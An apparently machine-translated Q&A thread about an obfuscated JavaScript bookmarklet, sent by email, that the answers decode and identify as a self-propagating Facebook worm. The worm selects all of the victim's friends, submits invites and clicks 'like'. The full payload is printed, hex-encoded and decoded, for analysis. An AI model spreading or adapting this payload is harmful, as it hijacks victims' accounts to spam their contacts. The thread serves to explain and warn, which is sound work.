这段代码做了什么

War*_*War 8 javascript

好吧,碰巧是我的好朋友的人最近给我发了一些奇怪的电子邮件,其中一封是一个页面的链接,要求你将其复制并粘贴到浏览器的地址栏然后执行...

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})();
Run Code Online (Sandbox Code Playgroud)

对于低级编程而言,我并不完全喜欢它,我很好奇这封电子邮件在这里要问的是什么......

请不要运行这个代码,除非你很高兴它不会破坏任何东西.

但是......有人能告诉我它的作用吗?

Sea*_*sey 12

a = 'app125879300771588_jop';
b = 'app125879300771588_jode';
ifc = 'app125879300771588_ifc';
ifo = 'app125879300771588_ifo';
mw = 'app125879300771588_mwrapper';
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"];
d = document;
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]];
d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();
setTimeout(function () {
    fs[_0xc100[8]]();
}, 5000);
setTimeout(function () {
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]);
}, 5000);
setTimeout(function () {
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]];
}, 5000);
Run Code Online (Sandbox Code Playgroud)

这很可能是许多Facebook蠕虫之一的适应性,它将自己发送给所有朋友.

在这里挂一个类似的问题.

这个使用过的打包器的其他版本进行混淆,通过http://jsbeautifier.org/运行打包器代码可以很容易地对这些打包器进行反混淆处理.


nic*_*ico 12

我没有完全解码代码,但这里有一些提示.

该变量_0xc100定义了一个字符串数组.字符编码为十六进制,因此读取它们更加困难.因此,例如,\ x76等于"v".

您可以安全地alert(_0xc100);以纯文本形式查看它.

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
      "\x73\x74\x79\x6C\x65", 
      "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
      "\x68\x69\x64\x64\x65\x6E",
      "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
      "\x76\x61\x6C\x75\x65",
      "\x63\x6C\x69\x63\x6B",
      "\x73\x75\x67\x67\x65\x73\x74",
      "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
      "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
      "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
      "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
      "\x6C\x69\x6B\x65\x6D\x65"];
Run Code Online (Sandbox Code Playgroud)

转换为包含这些关键字的数组

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all,
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme
Run Code Online (Sandbox Code Playgroud)

现在,以下语句(不要执行这些)使用这些关键字来实际执行函数.

例如:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
Run Code Online (Sandbox Code Playgroud)

相当于(d定义为documentmw在顶部定义)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden";
Run Code Online (Sandbox Code Playgroud)

它隐藏了一个叫做的元素 app125879300771588_mwrapper

以下说明给出

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value;
Run Code Online (Sandbox Code Playgroud)

将内容复制app125879300771588_jopapp125879300771588_jode

document.getElementById("suggest").click();
Run Code Online (Sandbox Code Playgroud)

我想点击一些"建议"按钮.

最后,它设置3个setTimeout函数,在5秒后执行3个命令(5000)

他们翻译成

setTimeout(function () {
    select_all();
     }, 5000);
Run Code Online (Sandbox Code Playgroud)

我假设选择你所有的朋友......

setTimeout(function () 
    {
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
    }, 5000);
Run Code Online (Sandbox Code Playgroud)

...发送邀请

setTimeout(function () 
    {
    document.getElementById("likeme").click();
    document.getElementById("app125879300771588_ifo").innerHTML =
       document.getElementById("app125879300771588_ifc").value;
    }, 5000);
Run Code Online (Sandbox Code Playgroud)

......然后按下一个按钮

请注意,我不使用Facebook,我不知道它的细节,但我想这很明显,这段代码是恶意的.